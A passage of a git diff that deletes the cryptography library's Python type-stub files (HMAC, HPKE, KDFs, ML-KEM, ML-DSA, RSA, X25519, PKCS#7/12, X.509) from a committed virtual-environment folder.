squeeze(self, length: int) -> bytes: ... - def copy(self) -> XOFHash: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hmac.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hmac.pyi deleted file mode 100644 index 3883d1b1a920b0f118a6e9c6084f9532a5484bec..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hmac.pyi +++ /dev/null @@ -1,22 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives import hashes -from cryptography.utils import Buffer - -class HMAC(hashes.HashContext): - def __init__( - self, - key: Buffer, - algorithm: hashes.HashAlgorithm, - backend: typing.Any = None, - ) -> None: ... - @property - def algorithm(self) -> hashes.HashAlgorithm: ... - def update(self, data: Buffer) -> None: ... - def finalize(self) -> bytes: ... - def verify(self, signature: bytes) -> None: ... - def copy(self) -> HMAC: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hpke.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hpke.pyi deleted file mode 100644 index 7ea17112f37310813587b950c2286c7cfbf3cf51..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hpke.pyi +++ /dev/null @@ -1,109 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import ec, mlkem, x25519 -from cryptography.utils import Buffer - -class KEM: - X25519: KEM - P256: KEM - P384: KEM - P521: KEM - MLKEM768: KEM - MLKEM1024: KEM - MLKEM768_X25519: KEM - MLKEM1024_P384: KEM - def enc_length(self) -> int: ... - -class KDF: - HKDF_SHA256: KDF - HKDF_SHA384: KDF - HKDF_SHA512: KDF - SHAKE128: KDF - SHAKE256: KDF - -class AEAD: - AES_128_GCM: AEAD - AES_256_GCM: AEAD - CHACHA20_POLY1305: AEAD - -class MLKEM768X25519PrivateKey: - def __init__( - self, - mlkem_key: mlkem.MLKEM768PrivateKey, - x25519_key: x25519.X25519PrivateKey, - ) -> None: ... - def public_key(self) -> MLKEM768X25519PublicKey: ... - -class MLKEM768X25519PublicKey: - def __init__( - self, - mlkem_key: mlkem.MLKEM768PublicKey, - x25519_key: x25519.X25519PublicKey, - ) -> None: ... - -class MLKEM1024P384PrivateKey: - def __init__( - self, - mlkem_key: mlkem.MLKEM1024PrivateKey, - p384_key: ec.EllipticCurvePrivateKey, - ) -> None: ... - def public_key(self) -> MLKEM1024P384PublicKey: ... - -class MLKEM1024P384PublicKey: - def __init__( - self, - mlkem_key: mlkem.MLKEM1024PublicKey, - p384_key: ec.EllipticCurvePublicKey, - ) -> None: ... - -class Suite: - def __init__(self, kem: KEM, kdf: KDF, aead: AEAD) -> None: ... - def encrypt( - self, - plaintext: Buffer, - public_key: x25519.X25519PublicKey - | ec.EllipticCurvePublicKey - | mlkem.MLKEM768PublicKey - | mlkem.MLKEM1024PublicKey - | MLKEM768X25519PublicKey - | MLKEM1024P384PublicKey, - info: Buffer | None = None, - ) -> bytes: ... - def decrypt( - self, - ciphertext: Buffer, - private_key: x25519.X25519PrivateKey - | ec.EllipticCurvePrivateKey - | mlkem.MLKEM768PrivateKey - | mlkem.MLKEM1024PrivateKey - | MLKEM768X25519PrivateKey - | MLKEM1024P384PrivateKey, - info: Buffer | None = None, - ) -> bytes: ... - -def _encrypt_with_aad( - suite: Suite, - plaintext: Buffer, - public_key: x25519.X25519PublicKey - | ec.EllipticCurvePublicKey - | mlkem.MLKEM768PublicKey - | mlkem.MLKEM1024PublicKey - | MLKEM768X25519PublicKey - | MLKEM1024P384PublicKey, - info: Buffer | None = None, - aad: Buffer | None = None, -) -> bytes: ... -def _decrypt_with_aad( - suite: Suite, - ciphertext: Buffer, - private_key: x25519.X25519PrivateKey - | ec.EllipticCurvePrivateKey - | mlkem.MLKEM768PrivateKey - | mlkem.MLKEM1024PrivateKey - | MLKEM768X25519PrivateKey - | MLKEM1024P384PrivateKey, - info: Buffer | None = None, - aad: Buffer | None = None, -) -> bytes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/kdf.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/kdf.pyi deleted file mode 100644 index bb37b9698a7d0cb62304d7ca031da82bc474612a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/kdf.pyi +++ /dev/null @@ -1,205 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives.hashes import HashAlgorithm -from cryptography.hazmat.primitives.kdf.kbkdf import CounterLocation, Mode -from cryptography.utils import Buffer - -class PBKDF2HMAC: - def __init__( - self, - algorithm: HashAlgorithm, - length: int, - salt: bytes, - iterations: int, - backend: typing.Any = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class Scrypt: - def __init__( - self, - salt: bytes, - length: int, - n: int, - r: int, - p: int, - backend: typing.Any = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class Argon2d: - def __init__( - self, - *, - salt: bytes, - length: int, - iterations: int, - lanes: int, - memory_cost: int, - ad: bytes | None = None, - secret: bytes | None = None, - ) -> None: ... - def derive(self, key_material: bytes) -> bytes: ... - def derive_into(self, key_material: bytes, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - def derive_phc_encoded(self, key_material: bytes) -> str: ... - @classmethod - def verify_phc_encoded( - cls, key_material: bytes, phc_encoded: str, secret: bytes | None = None - ) -> None: ... - -class Argon2i: - def __init__( - self, - *, - salt: bytes, - length: int, - iterations: int, - lanes: int, - memory_cost: int, - ad: bytes | None = None, - secret: bytes | None = None, - ) -> None: ... - def derive(self, key_material: bytes) -> bytes: ... - def derive_into(self, key_material: bytes, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - def derive_phc_encoded(self, key_material: bytes) -> str: ... - @classmethod - def verify_phc_encoded( - cls, key_material: bytes, phc_encoded: str, secret: bytes | None = None - ) -> None: ... - -class Argon2id: - def __init__( - self, - *, - salt: bytes, - length: int, - iterations: int, - lanes: int, - memory_cost: int, - ad: bytes | None = None, - secret: bytes | None = None, - ) -> None: ... - def derive(self, key_material: bytes) -> bytes: ... - def derive_into(self, key_material: bytes, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - def derive_phc_encoded(self, key_material: bytes) -> str: ... - @classmethod - def verify_phc_encoded( - cls, key_material: bytes, phc_encoded: str, secret: bytes | None = None - ) -> None: ... - -class HKDF: - def __init__( - self, - algorithm: HashAlgorithm, - length: int, - salt: bytes | None, - info: bytes | None, - backend: typing.Any = None, - ): ... - @staticmethod - def extract( - algorithm: HashAlgorithm, salt: bytes | None, key_material: Buffer - ) -> bytes: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class HKDFExpand: - def __init__( - self, - algorithm: HashAlgorithm, - length: int, - info: bytes | None, - backend: typing.Any = None, - ): ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class X963KDF: - def __init__( - self, - algorithm: HashAlgorithm, - length: int, - sharedinfo: bytes | None, - backend: typing.Any = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class ConcatKDFHash: - def __init__( - self, - algorithm: HashAlgorithm, - length: int, - otherinfo: bytes | None, - backend: typing.Any = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class ConcatKDFHMAC: - def __init__( - self, - algorithm: HashAlgorithm, - length: int, - salt: bytes | None, - otherinfo: bytes | None, - backend: typing.Any = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class KBKDFHMAC: - def __init__( - self, - algorithm: HashAlgorithm, - mode: Mode, - length: int, - rlen: int, - llen: int | None, - location: CounterLocation, - label: bytes | None, - context: bytes | None, - fixed: bytes | None, - backend: typing.Any = None, - *, - break_location: int | None = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... - -class KBKDFCMAC: - def __init__( - self, - algorithm: typing.Any, - mode: Mode, - length: int, - rlen: int, - llen: int | None, - location: CounterLocation, - label: bytes | None, - context: bytes | None, - fixed: bytes | None, - backend: typing.Any = None, - *, - break_location: int | None = None, - ) -> None: ... - def derive(self, key_material: Buffer) -> bytes: ... - def derive_into(self, key_material: Buffer, buffer: Buffer) -> int: ... - def verify(self, key_material: bytes, expected_key: bytes) -> None: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/keys.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/keys.pyi deleted file mode 100644 index 404057e037408dd1979afc482768430b8b478646..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/keys.pyi +++ /dev/null @@ -1,34 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives.asymmetric.types import ( - PrivateKeyTypes, - PublicKeyTypes, -) -from cryptography.utils import Buffer - -def load_der_private_key( - data: Buffer, - password: bytes | None, - backend: typing.Any = None, - *, - unsafe_skip_rsa_key_validation: bool = False, -) -> PrivateKeyTypes: ... -def load_pem_private_key( - data: Buffer, - password: bytes | None, - backend: typing.Any = None, - *, - unsafe_skip_rsa_key_validation: bool = False, -) -> PrivateKeyTypes: ... -def load_der_public_key( - data: bytes, - backend: typing.Any = None, -) -> PublicKeyTypes: ... -def load_pem_public_key( - data: bytes, - backend: typing.Any = None, -) -> PublicKeyTypes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/keywrap.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/keywrap.pyi deleted file mode 100644 index dd445eaeb2ddd6352040e2adab316de331b7ac8a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/keywrap.pyi +++ /dev/null @@ -1,28 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.utils import Buffer - -def aes_key_wrap( - wrapping_key: Buffer, - key_to_wrap: Buffer, - backend: typing.Any = None, -) -> bytes: ... -def aes_key_unwrap( - wrapping_key: Buffer, - wrapped_key: Buffer, - backend: typing.Any = None, -) -> bytes: ... -def aes_key_wrap_with_padding( - wrapping_key: Buffer, - key_to_wrap: Buffer, - backend: typing.Any = None, -) -> bytes: ... -def aes_key_unwrap_with_padding( - wrapping_key: Buffer, - wrapped_key: Buffer, - backend: typing.Any = None, -) -> bytes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/mldsa.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/mldsa.pyi deleted file mode 100644 index cea9cb10a7906b787ed5cc800dd50d1f4aef95fe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/mldsa.pyi +++ /dev/null @@ -1,35 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import mldsa -from cryptography.utils import Buffer - -class MLDSA44PrivateKey: ... -class MLDSA44PublicKey: ... -class MLDSA65PrivateKey: ... -class MLDSA65PublicKey: ... -class MLDSA87PrivateKey: ... -class MLDSA87PublicKey: ... - -class MLDSAMuHasher: - def __init__( - self, - public_key: mldsa.MLDSA44PublicKey - | mldsa.MLDSA65PublicKey - | mldsa.MLDSA87PublicKey, - context: Buffer | None = None, - ) -> None: ... - def update(self, data: Buffer) -> None: ... - def copy(self) -> MLDSAMuHasher: ... - def finalize(self) -> bytes: ... - -def generate_mldsa44_key() -> mldsa.MLDSA44PrivateKey: ... -def from_mldsa44_public_bytes(data: bytes) -> mldsa.MLDSA44PublicKey: ... -def from_mldsa44_seed_bytes(data: Buffer) -> mldsa.MLDSA44PrivateKey: ... -def generate_mldsa65_key() -> mldsa.MLDSA65PrivateKey: ... -def from_mldsa65_public_bytes(data: bytes) -> mldsa.MLDSA65PublicKey: ... -def from_mldsa65_seed_bytes(data: Buffer) -> mldsa.MLDSA65PrivateKey: ... -def generate_mldsa87_key() -> mldsa.MLDSA87PrivateKey: ... -def from_mldsa87_public_bytes(data: bytes) -> mldsa.MLDSA87PublicKey: ... -def from_mldsa87_seed_bytes(data: Buffer) -> mldsa.MLDSA87PrivateKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/mlkem.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/mlkem.pyi deleted file mode 100644 index 768a340a3831aa7367751a28658b0b0841c8a7ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/mlkem.pyi +++ /dev/null @@ -1,18 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import mlkem -from cryptography.utils import Buffer - -class MLKEM768PrivateKey: ... -class MLKEM768PublicKey: ... -class MLKEM1024PrivateKey: ... -class MLKEM1024PublicKey: ... - -def generate_mlkem768_key() -> mlkem.MLKEM768PrivateKey: ... -def from_mlkem768_seed_bytes(data: Buffer) -> mlkem.MLKEM768PrivateKey: ... -def from_mlkem768_public_bytes(data: Buffer) -> mlkem.MLKEM768PublicKey: ... -def generate_mlkem1024_key() -> mlkem.MLKEM1024PrivateKey: ... -def from_mlkem1024_seed_bytes(data: Buffer) -> mlkem.MLKEM1024PrivateKey: ... -def from_mlkem1024_public_bytes(data: Buffer) -> mlkem.MLKEM1024PublicKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi deleted file mode 100644 index 45a2a39f689071b5d544d8495bfd5bd57d4ab6e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi +++ /dev/null @@ -1,15 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.utils import Buffer - -class Poly1305: - def __init__(self, key: Buffer) -> None: ... - @staticmethod - def generate_tag(key: Buffer, data: Buffer) -> bytes: ... - @staticmethod - def verify_tag(key: Buffer, data: Buffer, tag: bytes) -> None: ... - def update(self, data: Buffer) -> None: ... - def finalize(self) -> bytes: ... - def verify(self, tag: bytes) -> None: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/rsa.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/rsa.pyi deleted file mode 100644 index ef7752ddb79db62489bcf71df933fdefd83c0f9d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/rsa.pyi +++ /dev/null @@ -1,55 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives.asymmetric import rsa - -class RSAPrivateKey: ... -class RSAPublicKey: ... - -class RSAPrivateNumbers: - def __init__( - self, - p: int, - q: int, - d: int, - dmp1: int, - dmq1: int, - iqmp: int, - public_numbers: RSAPublicNumbers, - ) -> None: ... - @property - def p(self) -> int: ... - @property - def q(self) -> int: ... - @property - def d(self) -> int: ... - @property - def dmp1(self) -> int: ... - @property - def dmq1(self) -> int: ... - @property - def iqmp(self) -> int: ... - @property - def public_numbers(self) -> RSAPublicNumbers: ... - def private_key( - self, - backend: typing.Any = None, - *, - unsafe_skip_rsa_key_validation: bool = False, - ) -> rsa.RSAPrivateKey: ... - -class RSAPublicNumbers: - def __init__(self, e: int, n: int) -> None: ... - @property - def n(self) -> int: ... - @property - def e(self) -> int: ... - def public_key(self, backend: typing.Any = None) -> rsa.RSAPublicKey: ... - -def generate_private_key( - public_exponent: int, - key_size: int, -) -> rsa.RSAPrivateKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/x25519.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/x25519.pyi deleted file mode 100644 index 38d2adddb1017030139f2cb2411dc43101a7448e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/x25519.pyi +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import x25519 -from cryptography.utils import Buffer - -class X25519PrivateKey: ... -class X25519PublicKey: ... - -def generate_key() -> x25519.X25519PrivateKey: ... -def from_private_bytes(data: Buffer) -> x25519.X25519PrivateKey: ... -def from_public_bytes(data: bytes) -> x25519.X25519PublicKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/x448.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/x448.pyi deleted file mode 100644 index 3ac098091af514639889486723710f851cd93e6b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/x448.pyi +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import x448 -from cryptography.utils import Buffer - -class X448PrivateKey: ... -class X448PublicKey: ... - -def generate_key() -> x448.X448PrivateKey: ... -def from_private_bytes(data: Buffer) -> x448.X448PrivateKey: ... -def from_public_bytes(data: bytes) -> x448.X448PublicKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/pkcs12.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/pkcs12.pyi deleted file mode 100644 index b25becb6bdef7ce259dcb40f34aa9386774437ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/pkcs12.pyi +++ /dev/null @@ -1,52 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing -from collections.abc import Iterable - -from cryptography import x509 -from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes -from cryptography.hazmat.primitives.serialization import ( - KeySerializationEncryption, -) -from cryptography.hazmat.primitives.serialization.pkcs12 import ( - PKCS12KeyAndCertificates, - PKCS12PrivateKeyTypes, -) -from cryptography.utils import Buffer - -class PKCS12Certificate: - def __init__( - self, cert: x509.Certificate, friendly_name: bytes | None - ) -> None: ... - @property - def friendly_name(self) -> bytes | None: ... - @property - def certificate(self) -> x509.Certificate: ... - -def load_key_and_certificates( - data: Buffer, - password: Buffer | None, - backend: typing.Any = None, -) -> tuple[ - PrivateKeyTypes | None, - x509.Certificate | None, - list[x509.Certificate], -]: ... -def load_pkcs12( - data: bytes, - password: bytes | None, - backend: typing.Any = None, -) -> PKCS12KeyAndCertificates: ... -def serialize_java_truststore( - certs: Iterable[PKCS12Certificate], - encryption_algorithm: KeySerializationEncryption, -) -> bytes: ... -def serialize_key_and_certificates( - name: bytes | None, - key: PKCS12PrivateKeyTypes | None, - cert: x509.Certificate | None, - cas: Iterable[x509.Certificate | PKCS12Certificate] | None, - encryption_algorithm: KeySerializationEncryption, -) -> bytes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/pkcs7.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/pkcs7.pyi deleted file mode 100644 index 358b135865a89a6675706e0fd880d3eabdb081b5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/pkcs7.pyi +++ /dev/null @@ -1,50 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from collections.abc import Iterable - -from cryptography import x509 -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import rsa -from cryptography.hazmat.primitives.serialization import pkcs7 - -def serialize_certificates( - certs: list[x509.Certificate], - encoding: serialization.Encoding, -) -> bytes: ... -def encrypt_and_serialize( - builder: pkcs7.PKCS7EnvelopeBuilder, - content_encryption_algorithm: pkcs7.ContentEncryptionAlgorithm, - encoding: serialization.Encoding, - options: Iterable[pkcs7.PKCS7Options], -) -> bytes: ... -def sign_and_serialize( - builder: pkcs7.PKCS7SignatureBuilder, - encoding: serialization.Encoding, - options: Iterable[pkcs7.PKCS7Options], -) -> bytes: ... -def decrypt_der( - data: bytes, - certificate: x509.Certificate, - private_key: rsa.RSAPrivateKey, - options: Iterable[pkcs7.PKCS7Options], -) -> bytes: ... -def decrypt_pem( - data: bytes, - certificate: x509.Certificate, - private_key: rsa.RSAPrivateKey, - options: Iterable[pkcs7.PKCS7Options], -) -> bytes: ... -def decrypt_smime( - data: bytes, - certificate: x509.Certificate, - private_key: rsa.RSAPrivateKey, - options: Iterable[pkcs7.PKCS7Options], -) -> bytes: ... -def load_pem_pkcs7_certificates( - data: bytes, -) -> list[x509.Certificate]: ... -def load_der_pkcs7_certificates( - data: bytes, -) -> list[x509.Certificate]: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/test_support.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/test_support.pyi deleted file mode 100644 index c6c6d0bbe12916b4299d08398493c5da8f762ae7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/test_support.pyi +++ /dev/null @@ -1,23 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography import x509 -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.serialization import pkcs7 -from cryptography.utils import Buffer - -class TestCertificate: - not_after_tag: int - not_before_tag: int - issuer_value_tags: list[int] - subject_value_tags: list[int] - -def test_parse_certificate(data: bytes) -> TestCertificate: ... -def pkcs7_verify( - encoding: serialization.Encoding, - sig: bytes, - msg: Buffer | None, - certs: list[x509.Certificate], - options: list[pkcs7.PKCS7Options], -) -> None: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/x509.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/x509.pyi deleted file mode 100644 index 4438cc77778cee66ed5c8e95e1125810063e74d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/x509.pyi +++ /dev/null @@ -1,313 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import datetime -import typing -from collections.abc import Iterator - -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric.ec import ECDSA -from cryptography.hazmat.primitives.asymmetric.padding import PSS, PKCS1v15 -from cryptography.hazmat.primitives.asymmetric.types import ( - CertificateIssuerPublicKeyTypes, - CertificatePublicKeyTypes, - PrivateKeyTypes, -) -from cryptography.x509 import certificate_transparency - -def load_pem_x509_certificate( - data: bytes, backend: typing.Any = None -) -> x509.Certificate: ... -def load_der_x509_certificate( - data: bytes, backend: typing.Any = None -) -> x509.Certificate: ... -def load_pem_x509_certificates( - data: bytes, -) -> list[x509.Certificate]: ... -def load_pem_x509_crl( - data: bytes, backend: typing.Any = None -) -> x509.CertificateRevocationList: ... -def load_der_x509_crl( - data: bytes, backend: typing.Any = None -) -> x509.CertificateRevocationList: ... -def load_pem_x509_csr( - data: bytes, backend: typing.Any = None -) -> x509.CertificateSigningRequest: ... -def load_der_x509_csr( - data: bytes, backend: typing.Any = None -) -> x509.CertificateSigningRequest: ... -def encode_name_bytes(name: x509.Name) -> bytes: ... -def parse_name_bytes(data: bytes) -> x509.Name: ... -def encode_extension_value(extension: x509.ExtensionType) -> bytes: ... -def create_x509_certificate( - builder: x509.CertificateBuilder, - private_key: PrivateKeyTypes | None, - hash_algorithm: hashes.HashAlgorithm | None, - rsa_padding: PKCS1v15 | PSS | None, - ecdsa_deterministic: bool | None, -) -> x509.Certificate: ... -def create_x509_csr( - builder: x509.CertificateSigningRequestBuilder, - private_key: PrivateKeyTypes, - hash_algorithm: hashes.HashAlgorithm | None, - rsa_padding: PKCS1v15 | PSS | None, - ecdsa_deterministic: bool | None, -) -> x509.CertificateSigningRequest: ... -def create_revoked_certificate( - builder: x509.RevokedCertificateBuilder, -) -> x509.RevokedCertificate: ... -def create_x509_crl( - builder: x509.CertificateRevocationListBuilder, - private_key: PrivateKeyTypes, - hash_algorithm: hashes.HashAlgorithm | None, - rsa_padding: PKCS1v15 | PSS | None, - ecdsa_deterministic: bool | None, -) -> x509.CertificateRevocationList: ... - -class Sct: - @property - def version(self) -> certificate_transparency.Version: ... - @property - def log_id(self) -> bytes: ... - @property - def timestamp(self) -> datetime.datetime: ... - @property - def entry_type(self) -> certificate_transparency.LogEntryType: ... - @property - def signature_hash_algorithm(self) -> hashes.HashAlgorithm: ... - @property - def signature_algorithm( - self, - ) -> certificate_transparency.SignatureAlgorithm: ... - @property - def signature(self) -> bytes: ... - @property - def extension_bytes(self) -> bytes: ... - -class Certificate: - def fingerprint(self, algorithm: hashes.HashAlgorithm) -> bytes: ... - @property - def serial_number(self) -> int: ... - @property - def version(self) -> x509.Version: ... - def public_key(self) -> CertificatePublicKeyTypes: ... - @property - def public_key_algorithm_oid(self) -> x509.ObjectIdentifier: ... - @property - def not_valid_before(self) -> datetime.datetime: ... - @property - def not_valid_before_utc(self) -> datetime.datetime: ... - @property - def not_valid_after(self) -> datetime.datetime: ... - @property - def not_valid_after_utc(self) -> datetime.datetime: ... - @property - def issuer(self) -> x509.Name: ... - @property - def subject(self) -> x509.Name: ... - @property - def signature_hash_algorithm( - self, - ) -> hashes.HashAlgorithm | None: ... - @property - def signature_algorithm_oid(self) -> x509.ObjectIdentifier: ... - @property - def signature_algorithm_parameters( - self, - ) -> PSS | PKCS1v15 | ECDSA | None: ... - @property - def extensions(self) -> x509.Extensions: ... - @property - def signature(self) -> bytes: ... - @property - def tbs_certificate_bytes(self) -> bytes: ... - @property - def tbs_precertificate_bytes(self) -> bytes: ... - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def public_bytes(self, encoding: serialization.Encoding) -> bytes: ... - def verify_directly_issued_by(self, issuer: Certificate) -> None: ... - -class RevokedCertificate: - @property - def serial_number(self) -> int: ... - @property - def revocation_date(self) -> datetime.datetime: ... - @property - def revocation_date_utc(self) -> datetime.datetime: ... - @property - def extensions(self) -> x509.Extensions: ... - -class CertificateRevocationList: - def public_bytes(self, encoding: serialization.Encoding) -> bytes: ... - def fingerprint(self, algorithm: hashes.HashAlgorithm) -> bytes: ... - def get_revoked_certificate_by_serial_number( - self, serial_number: int - ) -> x509.RevokedCertificate | None: ... - @property - def signature_hash_algorithm( - self, - ) -> hashes.HashAlgorithm | None: ... - @property - def signature_algorithm_oid(self) -> x509.ObjectIdentifier: ... - @property - def signature_algorithm_parameters( - self, - ) -> PSS | PKCS1v15 | ECDSA | None: ... - @property - def issuer(self) -> x509.Name: ... - @property - def next_update(self) -> datetime.datetime | None: ... - @property - def next_update_utc(self) -> datetime.datetime | None: ... - @property - def last_update(self) -> datetime.datetime: ... - @property - def last_update_utc(self) -> datetime.datetime: ... - @property - def extensions(self) -> x509.Extensions: ... - @property - def signature(self) -> bytes: ... - @property - def tbs_certlist_bytes(self) -> bytes: ... - def __eq__(self, other: object) -> bool: ... - def __len__(self) -> int: ... - @typing.overload - def __getitem__(self, idx: int) -> x509.RevokedCertificate: ... - @typing.overload - def __getitem__(self, idx: slice) -> list[x509.RevokedCertificate]: ... - def __iter__(self) -> Iterator[x509.RevokedCertificate]: ... - def is_signature_valid( - self, public_key: CertificateIssuerPublicKeyTypes - ) -> bool: ... - -class CertificateSigningRequest: - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def public_key(self) -> CertificatePublicKeyTypes: ... - @property - def 